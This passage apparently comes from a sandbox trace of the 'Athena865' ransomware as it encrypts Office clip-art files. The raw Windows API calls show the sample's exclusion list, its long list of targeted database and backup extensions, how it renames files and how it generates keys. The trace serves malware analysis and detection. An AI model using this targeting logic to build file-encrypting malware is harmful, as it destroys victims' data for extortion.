(lpString="pdm") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.078] lstrlenW (lpString="pnz") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.078] lstrlenW (lpString="qry") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.078] lstrlenW (lpString="qvd") returned 3 [0129.078] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.079] lstrlenW (lpString="rbf") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.079] lstrlenW (lpString="rctd") returned 4 [0129.079] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.079] lstrlenW (lpString="rod") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.079] lstrlenW (lpString="rodx") returned 4 [0129.079] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.079] lstrlenW (lpString="rpd") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.079] lstrlenW (lpString="rsd") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.079] lstrlenW (lpString="sas7bdat") returned 8 [0129.079] lstrcmpiW (lpString1="0175.WMF", lpString2="sas7bdat") returned -1 [0129.079] lstrlenW (lpString="sbf") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.079] lstrlenW (lpString="scx") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.079] lstrlenW (lpString="sdb") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.079] lstrlenW (lpString="sdc") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.079] lstrlenW (lpString="sdf") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.079] lstrlenW (lpString="sis") returned 3 [0129.079] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.080] lstrlenW (lpString="spq") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.080] lstrlenW (lpString="te") returned 2 [0129.080] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.080] lstrlenW (lpString="teacher") returned 7 [0129.080] lstrcmpiW (lpString1="175.WMF", lpString2="teacher") returned -1 [0129.080] lstrlenW (lpString="tmd") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.080] lstrlenW (lpString="tps") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.080] lstrlenW (lpString="trc") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.080] lstrlenW (lpString="trc") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.080] lstrlenW (lpString="trm") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.080] lstrlenW (lpString="udb") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.080] lstrlenW (lpString="udl") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.080] lstrlenW (lpString="usr") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.080] lstrlenW (lpString="v12") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.080] lstrlenW (lpString="vis") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.080] lstrlenW (lpString="vpd") returned 3 [0129.080] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.081] lstrlenW (lpString="vvv") returned 3 [0129.081] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.081] lstrlenW (lpString="wdb") returned 3 [0129.081] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.081] lstrlenW (lpString="wmdb") returned 4 [0129.081] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.081] lstrlenW (lpString="wrk") returned 3 [0129.081] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.081] lstrlenW (lpString="xdb") returned 3 [0129.081] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.081] lstrlenW (lpString="xld") returned 3 [0129.081] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.081] lstrlenW (lpString="xmlff") returned 5 [0129.081] lstrcmpiW (lpString1="5.WMF", lpString2="xmlff") returned -1 [0129.081] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.Athena865") returned 73 [0129.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.athena865"), dwFlags=0x1) returned 1 [0129.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.082] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42000) returned 1 [0129.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.083] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.084] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.084] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.084] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa710, lpName=0x0) returned 0x154 [0129.086] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa710) returned 0x100000 [0129.097] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.097] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.097] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.098] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.099] CloseHandle (hObject=0x154) returned 1 [0129.099] CloseHandle (hObject=0x17c) returned 1 [0129.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.099] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2=".") returned 1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2="..") returned 1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2="windows") returned -1 [0129.099] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootmgr") returned 1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="temp") returned -1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="pagefile.sys") returned -1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="boot") returned 1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ids.txt") returned 1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ntuser.dat") returned -1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="perflogs") returned -1 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2="MSBuild") returned -1 [0129.100] lstrlenW (lpString="J0240189.WMF") returned 12 [0129.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0240189.WMF" | out: lpString1="J0240189.WMF") returned="J0240189.WMF" [0129.100] lstrlenW (lpString="J0240189.WMF") returned 12 [0129.100] lstrlenW (lpString="Athena865") returned 9 [0129.100] lstrcmpiW (lpString1="40189.WMF", lpString2="Athena865") returned -1 [0129.100] lstrlenW (lpString=".dll") returned 4 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2=".dll") returned 1 [0129.100] lstrlenW (lpString=".lnk") returned 4 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2=".lnk") returned 1 [0129.100] lstrlenW (lpString=".ini") returned 4 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2=".ini") returned 1 [0129.100] lstrlenW (lpString=".sys") returned 4 [0129.100] lstrcmpiW (lpString1="J0240189.WMF", lpString2=".sys") returned 1 [0129.100] lstrlenW (lpString="J0240189.WMF") returned 12 [0129.100] lstrlenW (lpString="bak") returned 3 [0129.100] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.100] lstrlenW (lpString="ba_") returned 3 [0129.100] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.100] lstrlenW (lpString="dbb") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.101] lstrlenW (lpString="vmdk") returned 4 [0129.101] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.101] lstrlenW (lpString="rar") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.101] lstrlenW (lpString="zip") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.101] lstrlenW (lpString="tgz") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.101] lstrlenW (lpString="vbox") returned 4 [0129.101] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.101] lstrlenW (lpString="vdi") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.101] lstrlenW (lpString="vhd") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.101] lstrlenW (lpString="vhdx") returned 4 [0129.101] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.101] lstrlenW (lpString="avhd") returned 4 [0129.101] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.101] lstrlenW (lpString="db") returned 2 [0129.101] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.101] lstrlenW (lpString="db2") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.101] lstrlenW (lpString="db3") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.101] lstrlenW (lpString="dbf") returned 3 [0129.101] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.101] lstrlenW (lpString="mdf") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.102] lstrlenW (lpString="mdb") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.102] lstrlenW (lpString="sql") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.102] lstrlenW (lpString="sqlite") returned 6 [0129.102] lstrcmpiW (lpString1="89.WMF", lpString2="sqlite") returned -1 [0129.102] lstrlenW (lpString="sqlite3") returned 7 [0129.102] lstrcmpiW (lpString1="189.WMF", lpString2="sqlite3") returned -1 [0129.102] lstrlenW (lpString="sqlitedb") returned 8 [0129.102] lstrcmpiW (lpString1="0189.WMF", lpString2="sqlitedb") returned -1 [0129.102] lstrlenW (lpString="xml") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.102] lstrlenW (lpString="$er") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.102] lstrlenW (lpString="4dd") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.102] lstrlenW (lpString="4dl") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.102] lstrlenW (lpString="^^^") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.102] lstrlenW (lpString="abs") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.102] lstrlenW (lpString="abx") returned 3 [0129.102] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.102] lstrlenW (lpString="accdb") returned 5 [0129.102] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0129.103] lstrlenW (lpString="accdc") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0129.103] lstrlenW (lpString="accde") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0129.103] lstrlenW (lpString="accdr") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0129.103] lstrlenW (lpString="accdt") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0129.103] lstrlenW (lpString="accdw") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0129.103] lstrlenW (lpString="accft") returned 5 [0129.103] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0129.103] lstrlenW (lpString="adb") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.103] lstrlenW (lpString="adb") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.103] lstrlenW (lpString="ade") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.103] lstrlenW (lpString="adf") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.103] lstrlenW (lpString="adn") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.103] lstrlenW (lpString="adp") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.103] lstrlenW (lpString="alf") returned 3 [0129.103] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.103] lstrlenW (lpString="ask") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.104] lstrlenW (lpString="btr") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.104] lstrlenW (lpString="cat") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.104] lstrlenW (lpString="cdb") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.104] lstrlenW (lpString="ckp") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.104] lstrlenW (lpString="cma") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.104] lstrlenW (lpString="cpd") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.104] lstrlenW (lpString="dacpac") returned 6 [0129.104] lstrcmpiW (lpString1="89.WMF", lpString2="dacpac") returned -1 [0129.104] lstrlenW (lpString="dad") returned 3 [0129.104] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.104] lstrlenW (lpString="dadiagrams") returned 10 [0129.104] lstrcmpiW (lpString1="240189.WMF", lpString2="dadiagrams") returned -1 [0129.104] lstrlenW (lpString="daschema") returned 8 [0129.104] lstrcmpiW (lpString1="0189.WMF", lpString2="daschema") returned -1 [0129.104] lstrlenW (lpString="db-journal") returned 10 [0129.104] lstrcmpiW (lpString1="240189.WMF", lpString2="db-journal") returned -1 [0129.104] lstrlenW (lpString="db-shm") returned 6 [0129.104] lstrcmpiW (lpString1="89.WMF", lpString2="db-shm") returned -1 [0129.104] lstrlenW (lpString="db-wal") returned 6 [0129.104] lstrcmpiW (lpString1="89.WMF", lpString2="db-wal") returned -1 [0129.105] lstrlenW (lpString="dbc") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.105] lstrlenW (lpString="dbs") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.105] lstrlenW (lpString="dbt") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.105] lstrlenW (lpString="dbv") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.105] lstrlenW (lpString="dbx") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.105] lstrlenW (lpString="dcb") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.105] lstrlenW (lpString="dct") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.105] lstrlenW (lpString="dcx") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0129.105] lstrlenW (lpString="ddl") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0129.105] lstrlenW (lpString="dlis") returned 4 [0129.105] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0129.105] lstrlenW (lpString="dp1") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0129.105] lstrlenW (lpString="dqy") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0129.105] lstrlenW (lpString="dsk") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0129.105] lstrlenW (lpString="dsn") returned 3 [0129.105] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0129.106] lstrlenW (lpString="dtsx") returned 4 [0129.106] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0129.106] lstrlenW (lpString="dxl") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0129.106] lstrlenW (lpString="eco") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0129.106] lstrlenW (lpString="ecx") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0129.106] lstrlenW (lpString="edb") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0129.106] lstrlenW (lpString="epim") returned 4 [0129.106] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0129.106] lstrlenW (lpString="fcd") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0129.106] lstrlenW (lpString="fdb") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0129.106] lstrlenW (lpString="fic") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0129.106] lstrlenW (lpString="flexolibrary") returned 12 [0129.106] lstrlenW (lpString="fm5") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0129.106] lstrlenW (lpString="fmp") returned 3 [0129.106] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0129.106] lstrlenW (lpString="fmp12") returned 5 [0129.106] lstrcmpiW (lpString1="9.WMF", lpString2="fmp12") returned -1 [0129.106] lstrlenW (lpString="fmpsl") returned 5 [0129.106] lstrcmpiW (lpString1="9.WMF", lpString2="fmpsl") returned -1 [0129.107] lstrlenW (lpString="fol") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0129.107] lstrlenW (lpString="fp3") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0129.107] lstrlenW (lpString="fp4") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0129.107] lstrlenW (lpString="fp5") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0129.107] lstrlenW (lpString="fp7") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0129.107] lstrlenW (lpString="fpt") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0129.107] lstrlenW (lpString="frm") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.107] lstrlenW (lpString="gdb") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.107] lstrlenW (lpString="gdb") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.107] lstrlenW (lpString="grdb") returned 4 [0129.107] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.107] lstrlenW (lpString="gwi") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.107] lstrlenW (lpString="hdb") returned 3 [0129.107] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.108] lstrlenW (lpString="his") returned 3 [0129.108] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.108] lstrlenW (lpString="ib") returned 2 [0129.108] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.108] lstrlenW (lpString="idb") returned 3 [0129.108] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.111] lstrlenW (lpString="ihx") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.111] lstrlenW (lpString="itdb") returned 4 [0129.111] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.111] lstrlenW (lpString="itw") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.111] lstrlenW (lpString="jet") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.111] lstrlenW (lpString="jtx") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.111] lstrlenW (lpString="kdb") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.111] lstrlenW (lpString="kexi") returned 4 [0129.111] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.111] lstrlenW (lpString="kexic") returned 5 [0129.111] lstrcmpiW (lpString1="9.WMF", lpString2="kexic") returned -1 [0129.111] lstrlenW (lpString="kexis") returned 5 [0129.111] lstrcmpiW (lpString1="9.WMF", lpString2="kexis") returned -1 [0129.111] lstrlenW (lpString="lgc") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.111] lstrlenW (lpString="lwx") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.111] lstrlenW (lpString="maf") returned 3 [0129.111] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.112] lstrlenW (lpString="maq") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.112] lstrlenW (lpString="mar") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.112] lstrlenW (lpString="marshal") returned 7 [0129.112] lstrcmpiW (lpString1="189.WMF", lpString2="marshal") returned -1 [0129.112] lstrlenW (lpString="mas") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.112] lstrlenW (lpString="mav") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.112] lstrlenW (lpString="maw") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.112] lstrlenW (lpString="mdbhtml") returned 7 [0129.112] lstrcmpiW (lpString1="189.WMF", lpString2="mdbhtml") returned -1 [0129.112] lstrlenW (lpString="mdn") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.112] lstrlenW (lpString="mdt") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.112] lstrlenW (lpString="mfd") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.112] lstrlenW (lpString="mpd") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.112] lstrlenW (lpString="mrg") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.112] lstrlenW (lpString="mud") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.112] lstrlenW (lpString="mwb") returned 3 [0129.112] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.113] lstrlenW (lpString="myd") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.113] lstrlenW (lpString="ndf") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.113] lstrlenW (lpString="nnt") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.113] lstrlenW (lpString="nrmlib") returned 6 [0129.113] lstrcmpiW (lpString1="89.WMF", lpString2="nrmlib") returned -1 [0129.113] lstrlenW (lpString="ns2") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.113] lstrlenW (lpString="ns3") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.113] lstrlenW (lpString="ns4") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.113] lstrlenW (lpString="nsf") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.113] lstrlenW (lpString="nv") returned 2 [0129.113] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.113] lstrlenW (lpString="nv2") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.113] lstrlenW (lpString="nwdb") returned 4 [0129.113] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.113] lstrlenW (lpString="nyf") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.113] lstrlenW (lpString="odb") returned 3 [0129.113] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 